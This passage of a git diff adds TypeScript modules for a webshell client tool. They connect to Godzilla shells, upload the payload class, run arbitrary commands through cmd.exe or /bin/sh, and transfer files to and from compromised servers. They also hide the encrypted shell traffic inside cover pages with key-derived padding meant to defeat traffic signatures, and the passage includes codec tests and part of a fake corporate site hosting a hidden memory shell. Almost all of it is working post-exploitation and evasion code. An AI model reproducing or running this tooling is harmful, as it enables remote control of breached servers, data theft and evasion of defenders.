`pass=urlencode(base64(AES(gzip(serialize({methodName:...})))))` + * 3. response = md5[0:16] + base64(AES(gzip(result))) + md5[16:32] + * + * `Parameter.serialize` format: key bytes + 0x02 + little-endian u32 length + + * value. Values are raw bytes — the payload does no base64 decoding + * (`getByteArray` returns them as-is). + */ +import iconv from "iconv-lite"; + +import { GODZILLA_PAYLOAD_BYTES } from "./assets.js"; +import { aesEcbDecrypt, aesEcbEncrypt, gunzipLenient, gzip, md5Hex, md5Key16 } from "./crypto.js"; +import { extractCookies, postRaw } from "./http.js"; +import { + buildHeaders, + type CommonConnectOptions, + type ConnectTestResult, + type DownloadResult, + type ExecResult, + type TransferResult, +} from "./types.js"; + +/** Godzilla's `Parameter.serialize`: key bytes + 0x02 + little-endian u32 length + value. */ +function serializeParams(params: Array<[string, Buffer]>): Buffer { + const parts: Buffer[] = []; + for (const [key, value] of params) { + const len = Buffer.alloc(4); + len.writeUInt32LE(value.length, 0); + parts.push(Buffer.from(key, "utf8"), Buffer.from([0x02]), len, value); + } + return Buffer.concat(parts); +} + +function encodeBody(pass: string, xc: string, data: Buffer): Buffer { + const encrypted = aesEcbEncrypt(data, xc).toString("base64"); + return Buffer.from(`${pass}=${encodeURIComponent(encrypted)}`, "utf8"); +} + +function excerpt(body: Buffer): string { + const text = body + .toString("latin1") + .replace(/[^\x20-\x7e]+/g, " ") + .trim(); + return text.length > 200 ? `${text.slice(0, 200)}...` : text; +} + +function errMsg(err: unknown): string { + return err instanceof Error ? err.message : String(err); +} + +/** + * Decode payload status/error text. Method results like "ok" and the size + * digits are ASCII either way, but exception messages go through the + * payload's `String.getBytes()` — the server's *platform default* charset + * (UTF-8 on most Linux, GBK on Chinese Windows). Try strict UTF-8 first, + * fall back to GBK so the user gets a readable reason instead of mojibake. + * Never used on file content — only on short status/error strings. + */ +function decodeServerText(buf: Buffer): string { + try { + return new TextDecoder("utf-8", { fatal: true }).decode(buf); + } catch { + try { + return new TextDecoder("gbk").decode(buf); + } catch { + return buf.toString("utf8"); + } + } +} + +/** + * Encode a remote path for the wire. The payload decodes parameter strings + * with the server's platform default charset (`new String(bytes)`), so on a + * non-UTF-8 server (old JDK on Chinese Windows → GBK) a non-ASCII path must + * be sent in that charset. The user tells us via --remote-charset (probing + * file.encoding would need getBasicsInfo, whose reverse-DNS lookups can + * block for tens of seconds — the Godzilla GUI pays the same cost). iconv + * covers every Java charset label (GBK, MS932, Cp1252, ...); unknown labels + * degrade to UTF-8. ASCII paths are byte-identical in every charset. + */ +function encodeRemotePath(remotePath: string, remoteCharset: string | undefined): Buffer { + if (remoteCharset === undefined || /^utf-?8$/i.test(remoteCharset)) { + return Buffer.from(remotePath, "utf8"); + } + if (!iconv.encodingExists(remoteCharset)) { + return Buffer.from(remotePath, "utf8"); + } + return iconv.encode(remotePath, remoteCharset); +} + +interface GodzillaSession { + /** Invoke a payload method; resolves to the decrypted + gunzipped result. */ + callMethod(methodName: string, extraParams?: Array<[string, Buffer]>): Promise<Buffer>; +} + +/** + * Upload the payload class (request 1) and return an invoker for payload + * methods (request 2+), bound to the session cookie the shell handed out. + * Throws on transport errors; `callMethod` throws when the response is not a + * valid Godzilla envelope. + */ +async function openGodzillaSession( + url: string, + pass: string, + key: string, + options: CommonConnectOptions = {}, +): Promise<GodzillaSession> { + const xc = md5Key16(key); + const wrapper = md5Hex(pass + xc).toUpperCase(); + const left = wrapper.slice(0, 16); + const right = wrapper.slice(16); + + const baseHeaders = buildHeaders( + { "Content-Type": "application/x-www-form-urlencoded" }, + options, + ); + const post = (data: Buffer, cookie?: string) => + postRaw(url, encodeBody(pass, xc, data), { + headers: cookie ? { ...baseHeaders, Cookie: cookie } : baseHeaders, + timeoutMs: options.timeoutMs, + insecure: options.insecure, + }); + + // ---- request 1: upload the payload class ---- + const initResponse = await post(GODZILLA_PAYLOAD_BYTES); + const cookies = extractCookies(initResponse.headers); + const cookie = cookies.length > 0 ? cookies.join("; ") : undefined; + + return { + async callMethod(methodName: string, extraParams: Array<[string, Buffer]> = []) { + const callData = gzip( + serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams]), + ); + const res = await post(callData, cookie); + const text = res.body.toString("latin1"); + const leftIdx = text.indexOf(left); + const rightIdx = leftIdx === -1 ? -1 : text.indexOf(right, leftIdx + left.length); + if (leftIdx === -1 || rightIdx === -1) { + throw new Error( + `HTTP ${res.status}, response lacks the Godzilla wrapper` + + (text.trim().length > 0 ? ` (starts with: ${excerpt(res.body)})` : " (empty body)") + + " — wrong pass/key, missing gate header, or not a Godzilla shell", + ); + } + const wrapped = text.slice(leftIdx + left.length, rightIdx); + try { + return gunzipLenient(aesEcbDecrypt(Buffer.from(wrapped, "base64"), xc)); + } catch { + throw new Error("found wrapper but failed to decrypt — wrong key?"); + } + }, + }; +} + +export async function testGodzilla( + url: string, + pass: string, + key: string, + options: CommonConnectOptions = {}, +): Promise<ConnectTestResult> { + const started = Date.now(); + + let session: GodzillaSession; + try { + session = await openGodzillaSession(url, pass, key, options); + } catch (err) { + return { + ok: false, + tool: "godzilla", + url, + error: errMsg(err), + durationMs: Date.now() - started, + }; + } + + let result: string; + try { + result = (await session.callMethod("test")).toString("utf8").trim(); + } catch (err) { + return { + ok: false, + tool: "godzilla", + url, + error: errMsg(err), + durationMs: Date.now() - started, + }; + } + + if (result === "ok") { + return { + ok: true, + tool: "godzilla", + url, + detail: `payload uploaded, "test" returned ok`, + durationMs: Date.now() - started, + }; + } + return { + ok: false, + tool: "godzilla", + url, + error: `decrypted response is ${JSON.stringify(result)}, expected "ok"`, + durationMs: Date.now() - started, + }; +} + +export interface GodzillaExecOptions extends CommonConnectOptions { + /** + * Remote OS family, used to pick the shell wrapper (`cmd.exe /c` vs + * `/bin/sh -c`). "auto" (default) asks the payload's `getBasicsInfo` + * first — one extra request per exec. + */ + os?: "auto" | "windows" | "linux"; +} + +/** + * Godzilla command execution — invokes the payload's `execCommand` method. + * The payload runs `Runtime.exec(argv)` (no shell of its own), so the + * command line is wrapped in `cmd.exe /c` or `/bin/sh -c` here. + */ +export async function execGodzilla( + url: string, + pass: string, + key: string, + command: string, + options: GodzillaExecOptions = {}, +): Promise<ExecResult> { + const started = Date.now(); + const fail = (error: string): ExecResult => ({ + ok: false, + tool: "godzilla", + url, + command, + error, + durationMs: Date.now() - started, + }); + + let session: GodzillaSession; + try { + session = await openGodzillaSession(url, pass, key, options); + } catch (err) { + return fail(errMsg(err)); + } + + // ---- optional: detect the remote OS ---- + let os = options.os ?? "auto"; + if (os === "auto") { + try { + const info = (await session.callMethod("getBasicsInfo")).toString("utf8"); + const osLine = info.split("\n").find((l) => l.startsWith("OsInfo :")) ?? info; + os = /os\.name:[^\n]*windows/i.test(osLine) ? "windows" : "linux"; + } catch (err) { + return fail(errMsg(err)); + } + } + + // ---- execCommand ---- + const argv = + os === "windows" ? ["cmd.exe", "/c", command] : ["/bin/sh", "-c", command]; + const params: Array<[string, Buffer]> = [ + ["argsCount", Buffer.from(String(argv.length), "utf8")], + ...argv.map((arg, i): [string, Buffer] => [`arg-${i}`, Buffer.from(arg, "utf8")]), + ]; + try { + const output = await session.callMethod("execCommand", params); + return { + ok: true, + tool: "godzilla", + url, + command, + output: output.toString("utf8"), + durationMs: Date.now() - started, + }; + } catch (err) { + return fail(errMsg(err)); + } +} + +/** 1 MiB — the Godzilla client's own big-file block size. */ +const DEFAULT_CHUNK = 1024 * 1024; +/** The payload parses position/readByteNum as Java int — no >2 GiB files. */ +const MAX_REMOTE_SIZE = 0x7fffffff; +/** Per-chunk attempts; offset-based writes/reads are idempotent, so retry is safe. */ +const CHUNK_ATTEMPTS = 3; + +export interface GodzillaTransferOptions extends CommonConnectOptions { + /** Chunk size for the big-file transfer loop (default 1 MiB). */ + chunkSize?: number; + /** + * Charset of the remote JVM's platform default encoding (any Java label — + * "GBK", "MS932", ...), used to encode non-ASCII remote paths. Default + * UTF-8 (correct on JDK 18+ and virtually all Linux servers). + */ + remoteCharset?: string; +} + +function fileParams(pathBytes: Buffer, extra: Array<[string, Buffer]>): Array<[string, Buffer]> { + return [["fileName", pathBytes], ...extra]; +} + +/** + * Godzilla file download — the payload's `bigFileDownload` method: + * mode=fileSize -> decimal ASCII size (File.length(); 0 for missing files!) + * mode=read -> up to readByteNum raw bytes starting at position + * A chunk is accepted iff `chunk.length == readByteNum` (full read) or + * `chunk.length + downloaded == fileSize` (short read at EOF) — the same + * criterion the Godzilla client uses; anything else is the payload's error + * text ("Exception errMsg:..."), never file content to keep. + */ +export async function downloadGodzilla( + url: string, + pass: string, + key: string, + remotePath: string, + options: GodzillaTransferOptions = {}, +): Promise<DownloadResult> { + const started = Date.now(); + const fail = (error: string): DownloadResult => ({ + ok: false, + tool: "godzilla", + url, + direction: "download", + remotePath, + error, + durationMs: Date.now() - started, + }); + + let session: GodzillaSession; + try { + session = await openGodzillaSession(url, pass, key, options); + } catch (err) { + return fail(errMsg(err)); + } + const pathBytes = encodeRemotePath(remotePath, options.remoteCharset); + + // ---- size probe ---- + let sizeText: string; + try { + sizeText = decodeServerText( + await session.callMethod( + "bigFileDownload", + fileParams(pathBytes, [ + ["mode", Buffer.from("fileSize")], + ["position", Buffer.from("0")], + ["readByteNum", Buffer.from("0")], + ]), + ), + ).trim(); + } catch (err) { + return fail(errMsg(err)); + } + if (!/^\d+$/.test(sizeText)) { + return fail(`cannot get remote file size — server said: ${JSON.stringify(sizeText)}`); + } + const size = Number.parseInt(sizeText, 10); + if (size > MAX_REMOTE_SIZE) { + return fail( + `remote file is ${size} bytes — the Godzilla payload cannot handle files over 2 GiB`, + ); + } + + // ---- chunked read ---- + // A zero-byte size still gets one probe read: File.length() is 0 both for + // "exists and empty" and for "does not exist". A read with readByteNum=0 + // tells them apart — the payload's read(byte[0]) returns 0 bytes (success) + // for an existing file, while a missing file throws FileNotFoundException + // in the FileInputStream constructor (an "Exception errMsg:..." string + // that fails the acceptance criterion below). Note readByteNum>0 at EOF + // makes the payload fail with "Exception errMsg:-1" (NegativeArraySize), + // so the probe must ask for exactly 0 bytes. + const chunkSize = options.chunkSize ?? DEFAULT_CHUNK; + const parts: Buffer[] = []; + let downloaded = 0; + for (;;) { + if (size > 0 && downloaded >= size) break; + if (size === 0 && parts.length > 0) break; + + const want = size === 0 ? 0 : Math.min(chunkSize, size - downloaded); + let chunk: Buffer | null = null; + let serverSays = ""; + for (let attempt = 1; attempt <= CHUNK_ATTEMPTS && chunk === null; attempt++) { + try { + const res = await session.callMethod( + "bigFileDownload", + fileParams(pathBytes, [ + ["mode", Buffer.from("read")], + ["position", Buffer.from(String(downloaded))], + ["readByteNum", Buffer.from(String(want))], + ]), + ); + if (res.length === want || res.length + downloaded === size) { + chunk = res; + } else { + serverSays = decodeServerText(res).trim(); + } + } catch (err) { + serverSays = errMsg(err); + } + } + if (chunk === null) { + return fail( + `read failed at offset ${downloaded}/${size} — server said: ${JSON.stringify(serverSays)}`, + ); + } + parts.push(chunk); + downloaded += chunk.length; + } + + const data = Buffer.concat(parts); + if (data.length !== size) { + return fail( + `incomplete download: got ${data.length} of ${size} bytes — the file changed during transfer?`, + ); + } + return { + ok: true, + tool: "godzilla", + url, + direction: "download", + remotePath, + bytes: data.length, + data, + durationMs: Date.now() - started, + }; +} + +/** + * Godzilla file upload. + * Small files (≤ chunkSize) go in one `uploadFile` call (truncate + write — + * the payload's whole-file method, same as the Godzilla client's normal + * upload). Bigger files use `bigFileUpload` with an absolute `position` + * (RandomAccessFile seek + write, idempotent → safe per-chunk retry). + * Afterwards the remote size is verified via `bigFileDownload mode=fileSize`. + */ +export async function uploadGodzilla( + url: string, + pass: string, + key: string, + remotePath: string, + data: Buffer, + options: GodzillaTransferOptions = {}, +): Promise<TransferResult> { + const started = Date.now(); + const fail = (error: string): TransferResult => ({ + ok: false, + tool: "godzilla", + url, + direction: "upload", + remotePath, + error, + durationMs: Date.now() - started, + }); + + let session: GodzillaSession; + try { + session = await openGodzillaSession(url, pass, key, options); + } catch (err) { + return fail(errMsg(err)); + } + const pathBytes = encodeRemotePath(remotePath, options.remoteCharset); + + const chunkSize = options.chunkSize ?? DEFAULT_CHUNK; + if (data.length <= chunkSize) { + let text: string; + try { + text = decodeServerText( + await session.callMethod("uploadFile", fileParams(pathBytes, [["fileValue", data]])), + ).trim(); + } catch (err) { + return fail(errMsg(err)); + } + if (text !== "ok") { + return fail(`server said: ${JSON.stringify(text)}`); + } + } else { + let offset = 0; + while (offset < data.length) { + const chunk = data.subarray(offset, Math.min(offset + chunkSize, data.length)); + let ok = false; + let serverSays = ""; + for (let attempt = 1; attempt <= CHUNK_ATTEMPTS && !ok; attempt++) { + try { + const res = await session.callMethod( + "bigFileUpload", + fileParams(pathBytes, [ + ["fileContents", chunk], + ["position", Buffer.from(String(offset))], + ]), + ); + serverSays = decodeServerText(res).trim(); + ok = serverSays === "ok"; + } catch (err) { + serverSays = errMsg(err); + } + } + if (!ok) { + return fail( + `upload failed at offset ${offset}/${data.length} — server said: ${JSON.stringify(serverSays)}`, + ); + } + offset += chunk.length; + } + } + + // ---- verify the remote size matches ---- + try { + const sizeText = decodeServerText( + await session.callMethod( + "bigFileDownload", + fileParams(pathBytes, [ + ["mode", Buffer.from("fileSize")], + ["position", Buffer.from("0")], + ["readByteNum", Buffer.from("0")], + ]), + ), + ).trim(); + if (!/^\d+$/.test(sizeText) || Number.parseInt(sizeText, 10) !== data.length) { + return fail( + `upload finished but remote size mismatch — sent ${data.length} bytes, server said: ${JSON.stringify(sizeText)}`, + ); + } + } catch (err) { + return fail(`upload finished but size verification failed: ${errMsg(err)}`); + } + + return { + ok: true, + tool: "godzilla", + url, + direction: "upload", + remotePath, + bytes: data.length, + durationMs: Date.now() - started, + }; +} diff --git a/tools/cli/src/connect/http.ts b/tools/cli/src/connect/http.ts new file mode 100644 index 00000000..426a2ba2 --- /dev/null +++ b/tools/cli/src/connect/http.ts @@ -0,0 +1,115 @@ +/** + * Minimal raw-HTTP POST helper for the shell connection testers. + * + * Uses node:http/https directly instead of fetch because the testers need + * exact control over the body bytes, access to raw Set-Cookie headers, an + * optional insecure-TLS mode, and no automatic redirect following. + */ +import http from "node:http"; +import https from "node:https"; + +export interface RawPostOptions { + headers?: Record<string, string>; + timeoutMs?: number; + /** Skip TLS certificate verification (self-signed targets). */ + insecure?: boolean; +} + +export interface RawPostResult { + status: number; + headers: http.IncomingHttpHeaders; + body: Buffer; + durationMs: number; +} + +export class HttpRequestError extends Error { + constructor( + message: string, + readonly url: string, + override readonly cause?: unknown, + ) { + super(message); + this.name = "HttpRequestError"; + } +} + +/** POST `body` to `url`, return the raw response. Never follows redirects. */ +export function postRaw( + url: string, + body: Buffer, + options: RawPostOptions = {}, +): Promise<RawPostResult> { + const { headers = {}, timeoutMs = 30_000, insecure = false } = options; + let target: URL; + try { + target = new URL(url); + } catch { + return Promise.reject(new HttpRequestError(`invalid URL: ${url}`, url)); + } + const isHttps = target.protocol === "https:"; + if (!isHttps && target.protocol !== "http:") { + return Promise.reject(new HttpRequestError(`unsupported protocol: ${target.protocol}`, url)); + } + + // Opt-in proxying for traffic inspection (Burp & co.): set MEMPARTY_PROXY + // e.g. http://127.0.0.1:8083. Deliberately NOT HTTP_PROXY — shell traffic + // must never leak into a system-wide proxy by accident. http:// targets + // only (absolute-URI request line); https:// still goes direct. + let proxy: URL | null = null; + if (!isHttps && process.env.MEMPARTY_PROXY) { + try { + proxy = new URL(process.env.MEMPARTY_PROXY); + } catch { + return Promise.reject( + new HttpRequestError(`invalid MEMPARTY_PROXY: ${process.env.MEMPARTY_PROXY}`, url), + ); + } + } + + return new Promise<RawPostResult>((resolve, reject) => { + const started = Date.now(); + const transport = isHttps ? https : http; + const req = transport.request( + { + method: "POST", + hostname: proxy ? proxy.hostname : target.hostname, + port: proxy ? proxy.port || 8080 : target.port || (isHttps ? 443 : 80), + path: proxy ? target.toString() : `${target.pathname}${target.search}`, + // agent:false — never reuse a pooled socket. A shell server may close + // the connection right after an empty response, and reusing such a + // socket surfaces as a spurious ECONNRESET on the next probe. + agent: false, + headers: { + "Content-Length": String(body.length), + ...headers, + }, + timeout: timeoutMs, + ...(isHttps && insecure ? { rejectUnauthorized: false } : {}), + }, + (res) => { + const chunks: Buffer[] = []; + res.on("data", (chunk: Buffer) => chunks.push(chunk)); + res.on("end", () => + resolve({ + status: res.statusCode ?? 0, + headers: res.headers, + body: Buffer.concat(chunks), + durationMs: Date.now() - started, + }), + ); + res.on("error", (err) => reject(new HttpRequestError(err.message, url, err))); + }, + ); + req.on("timeout", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`))); + req.on("error", (err) => reject(new HttpRequestError(err.message, url, err))); + req.write(body); + req.end(); + }); +} + +/** Extract cookie pairs (`name=value`) from a response's Set-Cookie headers. */ +export function extractCookies(headers: http.IncomingHttpHeaders): string[] { + const setCookie = headers["set-cookie"]; + if (!setCookie) return []; + return setCookie.map((line) => line.split(";", 1)[0]!.trim()).filter(Boolean); +} diff --git a/tools/cli/src/connect/mimic-codecs.test.ts b/tools/cli/src/connect/mimic-codecs.test.ts new file mode 100644 index 00000000..e20913ec --- /dev/null +++ b/tools/cli/src/connect/mimic-codecs.test.ts @@ -0,0 +1,97 @@ +import { describe, expect, it } from "vitest"; + +import { aesEcbEncrypt, md5Key16 } from "./crypto.js"; +import { + CIPHER_ALGORITHMS, + CIPHER_ENCODINGS, + LEGACY_CIPHER, + decryptField, + deriveMarkers, + encryptField, + padTailLength, + resolveCipher, + type MimicCipher, +} from "./mimic-codecs.js"; + +const key = md5Key16("key"); +const plain = Buffer.from("echo hello-mimic-世界-$pecial", "utf8"); + +const ALL_COMBOS: MimicCipher[] = CIPHER_ALGORITHMS.flatMap((algorithm) => + CIPHER_ENCODINGS.flatMap((encoding) => + [false, true].map((padTail) => ({ algorithm, encoding, padTail, marker: "js-var" as const })), + ), +); + +describe("mimic codecs", () => { + it("legacy cipher is byte-identical to the original wire format", () => { + expect(encryptField(plain, key)).toBe(aesEcbEncrypt(plain, key).toString("base64")); + expect(decryptField(encryptField(plain, key), key).equals(plain)).toBe(true); + }); + + it("resolveCipher fills the legacy defaults", () => { + expect(resolveCipher()).toEqual(LEGACY_CIPHER); + expect(resolveCipher({ algorithm: "xor" })).toEqual({ ...LEGACY_CIPHER, algorithm: "xor" }); + expect(resolveCipher(undefined)).toEqual(LEGACY_CIPHER); + }); + + for (const cipher of ALL_COMBOS) { + it(`round-trips ${cipher.algorithm}/${cipher.encoding}/padTail=${cipher.padTail}`, () => { + const wire = encryptField(plain, key, cipher); + expect(decryptField(wire, key, cipher).equals(plain)).toBe(true); + // and the empty payload edge case (heartbeat-style empty output) + const empty = Buffer.alloc(0); + expect(decryptField(encryptField(empty, key, cipher), key, cipher).equals(empty)).toBe(true); + }); + } + + it("aes-cbc produces different bytes for the same plaintext (random IV)", () => { + const cipher: MimicCipher = { ...LEGACY_CIPHER, algorithm: "aes-cbc" }; + expect(encryptField(plain, key, cipher)).not.toBe(encryptField(plain, key, cipher)); + }); + + it("padTail appends key-derived-length alnum garbage after encoding", () => { + const cipher: MimicCipher = { ...LEGACY_CIPHER, padTail: true }; + const unpadded = encryptField(plain, key, LEGACY_CIPHER); + const padded = encryptField(plain, key, cipher); + const n = padTailLength(key); + expect(padded.length).toBe(unpadded.length + n); + expect(padded.slice(0, unpadded.length)).toBe(unpadded); + expect(padded.slice(unpadded.length)).toMatch(/^[A-Za-z0-9]*$/); + }); + + it("padTailLength is deterministic from the key and within 0-15", () => { + expect(padTailLength(key)).toBe(padTailLength(key)); + expect(padTailLength(key)).toBeGreaterThanOrEqual(0); + expect(padTailLength(key)).toBeLessThan(16); + expect(padTailLength(md5Key16("other"))).not.toBe(padTailLength(md5Key16("yet-another"))); + }); + + it("derives per-shell markers in both styles", () => { + const legacy = deriveMarkers("pass", "key"); + expect(legacy.left).toMatch(/^var Re[0-9a-f]{5}_config="$/); + expect(legacy.right).toBe('";'); + expect(legacy.wrap("PAYLOAD")).toBe(`<script>${legacy.left}PAYLOAD";</script>`); + expect(deriveMarkers("other", "key").left).not.toBe(legacy.left); + + const comment = deriveMarkers("pass", "key", { ...LEGACY_CIPHER, marker: "html-comment" }); + expect(comment.left).toMatch(/^<!--Re[0-9a-f]{5}_config:$/); + expect(comment.right).toBe("-->"); + expect(comment.wrap("PAYLOAD")).toBe(`${comment.left}PAYLOAD-->`); + // both styles share the same per-shell id + expect(comment.left).toContain(legacy.left.slice(6, 11)); + }); + + it("decryptField with a wrong key never yields the plaintext", () => { + // AES wrong-key decrypt usually throws on bad padding — but ~1/256 of keys + // "succeed" with garbage output. The guarantee the server relies on: + // a wrong key never produces the real plaintext. + for (const wrong of ["wrong", "wrong2", "wrong3", "wrong4"]) { + try { + const out = decryptField(encryptField(plain, key), md5Key16(wrong)); + expect(out.equals(plain)).toBe(false); + } catch { + // bad padding — the common case, equally fine + } + } + }); +}); diff --git a/tools/cli/src/connect/mimic-codecs.ts b/tools/cli/src/connect/mimic-codecs.ts new file mode 100644 index 00000000..5d256829 --- /dev/null +++ b/tools/cli/src/connect/mimic-codecs.ts @@ -0,0 +1,196 @@ +/** + * Mimic wire codecs — the selectable half of the mimic protocol. + * + * The site profile's `cipher` section picks how the ciphertext is produced + * and hidden; every option is implemented twice, once here (TypeScript, used + * by the client and the mock server) and once as a Java snippet in + * src/custom/java-template.ts (compiled into the injected filter). The two + * halves are pinned together by the cross-language tests in + * src/custom/java-probe.test.ts — change one side and the other must follow. + * + * The pipeline is the same in both directions: + * encrypt: bytes -> cipher -> encoding -> padTail + * decrypt: strip padTail -> encoding^-1 -> cipher^-1 + * + * A profile without a `cipher` section gets LEGACY_CIPHER, which is + * byte-identical to the original mimic wire format — filters injected before + * this menu existed keep working. + */ +import { createCipheriv, createDecipheriv, randomBytes } from "node:crypto"; + +import type { ProfileCipher } from "../core/site-profile.js"; +import { + aesEcbDecrypt, + aesEcbEncrypt, + base64UrlDecode, + base64UrlEncode, + md5Hex, +} from "./crypto.js"; + +export type CipherAlgorithm = NonNullable<ProfileCipher["algorithm"]>; +export type CipherEncoding = NonNullable<ProfileCipher["encoding"]>; +export type ResponseMarker = NonNullable<ProfileCipher["marker"]>; + +export const CIPHER_ALGORITHMS: CipherAlgorithm[] = ["aes-ecb", "aes-cbc", "xor"]; +export const CIPHER_ENCODINGS: CipherEncoding[] = ["base64", "base64url", "hex"]; +export const RESPONSE_MARKERS: ResponseMarker[] = ["js-var", "html-comment"]; + +/** A fully-resolved cipher selection (every field present). */ +export interface MimicCipher { + algorithm: CipherAlgorithm; + encoding: CipherEncoding; + padTail: boolean; + marker: ResponseMarker; +} + +/** The original mimic wire format: AES/ECB + base64 + JS-variable marker. */ +export const LEGACY_CIPHER: MimicCipher = { + algorithm: "aes-ecb", + encoding: "base64", + padTail: false, + marker: "js-var", +}; + +/** Fill the profile's partial `cipher` section with the legacy defaults. */ +export function resolveCipher(partial?: ProfileCipher): MimicCipher { + return { ...LEGACY_CIPHER, ...(partial ?? {}) }; +} + +// ---------- crypto ---------- + +function xorCrypt(data: Buffer, key: Buffer): Buffer { + const out = Buffer.alloc(data.length); + for (let i = 0; i < data.length; i++) out[i] = data[i]! ^ key[i % key.length]!; + return out; +} + +/** + * Encrypt/decrypt raw bytes. `aesKey` is the 16-char md5-derived key (same + * derivation as Godzilla). aes-cbc prepends a random 16-byte IV; xor cycles + * the key bytes — both must stay in sync with the Java snippets. + */ +export function crypt(data: Buffer, aesKey: string, enc: boolean, algorithm: CipherAlgorithm): Buffer { + switch (algorithm) { + case "aes-ecb": + return enc ? aesEcbEncrypt(data, aesKey) : aesEcbDecrypt(data, aesKey); + case "aes-cbc": { + const key = Buffer.from(aesKey, "utf8"); + if (enc) { + const iv = randomBytes(16); + const c = createCipheriv("aes-128-cbc", key, iv); + return Buffer.concat([iv, c.update(data), c.final()]); + } + const d = createDecipheriv("aes-128-cbc", key, data.subarray(0, 16)); + return Buffer.concat([d.update(data.subarray(16)), d.final()]); + } + case "xor": + return xorCrypt(data, Buffer.from(aesKey, "utf8")); + } +} + +// ---------- encoding ---------- + +function encodeBytes(data: Buffer, encoding: CipherEncoding): string { + switch (encoding) { + case "base64": + return data.toString("base64"); + case "base64url": + return base64UrlEncode(data); + case "hex": + return data.toString("hex"); + } +} + +function decodeString(text: string, encoding: CipherEncoding): Buffer { + switch (encoding) { + case "base64": + return Buffer.from(text, "base64"); + case "base64url": + return base64UrlDecode(text); + case "hex": + return Buffer.from(text, "hex"); + } +} + +// ---------- padTail ---------- + +/** + * Length of the random-garbage tail, derived from the key so both sides + * compute it identically (0-15). Behinder's `aes_with_magic` transport uses + * the same trick: appending junk of a key-derived length breaks the fixed + * length signature of the ciphertext. + */ +export function padTailLength(aesKey: string): number { + return Number.parseInt(md5Hex(aesKey).slice(0, 2), 16) % 16; +} + +/** Alnum only — the padded value must stay legal in query strings and headers. */ +const PAD_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + +function appendPad(text: string, aesKey: string): string { + const n = padTailLength(aesKey); + if (n === 0) return text; + const raw = randomBytes(n); + let tail = ""; + for (let i = 0; i < n; i++) tail += PAD_ALPHABET[raw[i]! % PAD_ALPHABET.length]; + return text + tail; +} + +function stripPad(text: string, aesKey: string): string { + const n = padTailLength(aesKey); + return n === 0 ? text : text.slice(0, Math.max(0, text.length - n)); +} + +// ---------- field transforms (requests and responses both ride these) ---------- + +/** plaintext -> ciphertext as it appears on the wire. */ +export function encryptField( + plaintext: Buffer, + aesKey: string, + cipher: MimicCipher = LEGACY_CIPHER, +): string { + let out = encodeBytes(crypt(plaintext, aesKey, true, cipher.algorithm), cipher.encoding); + if (cipher.padTail) out = appendPad(out, aesKey); + return out; +} + +/** wire value -> plaintext. Throws on garbage (wrong key / not our traffic). */ +export function decryptField( + value: string, + aesKey: string, + cipher: MimicCipher = LEGACY_CIPHER, +): Buffer { + let text = value; + if (cipher.padTail) text = stripPad(text, aesKey); + return crypt(decodeString(text, cipher.encoding), aesKey, false, cipher.algorithm); +} + +// ---------- response markers ---------- + +export interface ResponseMarkers { + /** Left delimiter of the ciphertext inside the cover page. */ + left: string; + /** Right delimiter of the ciphertext. */ + right: string; + /** Wrap the ciphertext into the fragment injected into the cover page. */ + wrap(payload: string): string; +} + +/** + * Per-shell response markers. The 5-hex digest of pass+key keeps every + * shell's delimiters unique; the style selects how the fragment hides in the + * cover page (a JS assignment vs an HTML comment). + */ +export function deriveMarkers( + pass: string, + secretKey: string, + cipher: MimicCipher = LEGACY_CIPHER, +): ResponseMarkers { + const id = md5Hex(pass + secretKey).slice(0, 5); + if (cipher.marker === "html-comment") { + const left = `<!--Re${id}_config:`; + return { left, right: "-->", wrap: (p) => `${left}${p}-->` }; + } + const left = `var Re${id}_config="`; + return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` }; +} diff --git a/tools/cli/src/connect/mimic-server.ts b/tools/cli/src/connect/mimic-server.ts new file mode 100644 index 00000000..bf12a949 --- /dev/null +++ b/tools/cli/src/connect/mimic-server.ts @@ -0,0 +1,221 @@ +/** + * A fake business site with a mimic shell hidden inside it — the local + * validation target for the mimic protocol (`memparty demo`, tests). + * + * Every GET returns a plausible portal page; a POST carrying the shell's + * pass parameter is treated as a shell request no matter which path it + * lands on — that is exactly how a filter-type memory shell behaves, and + * what makes the mimic protocol's dynamic paths possible. + */ +import { exec } from "node:child_process"; +import http from "node:http"; +import type { AddressInfo } from "node:net"; + +import { + decodeAnyBody, + decodeRequestBody, + deriveAesKey, + encryptField, + decryptField, + injectFragment, +} from "./mimic-shared.js"; +import { deriveMarkers, resolveCipher } from "./mimic-codecs.js"; +import { PAYLOAD_PLACEHOLDER, type ProfileCipher, type ProfileTemplate } from "../core/site-profile.js"; + +/** Decrypt one carrier value (query/header mode), null on failure. */ +function tryDecrypt(b64: string, aesKey: string, cipher = resolveCipher()): Buffer | null { + try { + return decryptField(b64, aesKey, cipher); + } catch { + return null; + } +} + +const SITE_TITLE = "云枢科技 - 企业数字化服务商"; + +const NAV = `<nav><a href="/">首页</a> <a href="/products/">产品中心</a> <a href="/news/">新闻动态</a> <a href="/about/">关于我们</a></nav>`; + +const PAGES: Record<string, string> = { + "/": `<!DOCTYPE html> +<html lang="zh-CN"> +<head> +<meta charset="UTF-8"> +<title>${SITE_TITLE} + + +

云枢科技

${NAV}
+
+
© 2024 云枢科技 京ICP备2024000000号
+ +`, + "/products/": ` + + + +产品中心 - 云枢科技 + + +

云枢科技

${NAV}
+

产品中心

ETL / BI / 流程自动化三大产品线。

+
© 2024 云枢科技
+ +`, + "/news/": ` + + + +新闻动态 - 云枢科技 + + +

云枢科技

${NAV}
+

新闻动态

云枢 ETL 3.2 发布,新增实时同步通道。

+
© 2024 云枢科技
+ +`, +}; + +const NOT_FOUND = ` + + + +页面不存在 - 云枢科技 + + +

云枢科技

${NAV}
+

404

您访问的页面不存在。

+
© 2024 云枢科技
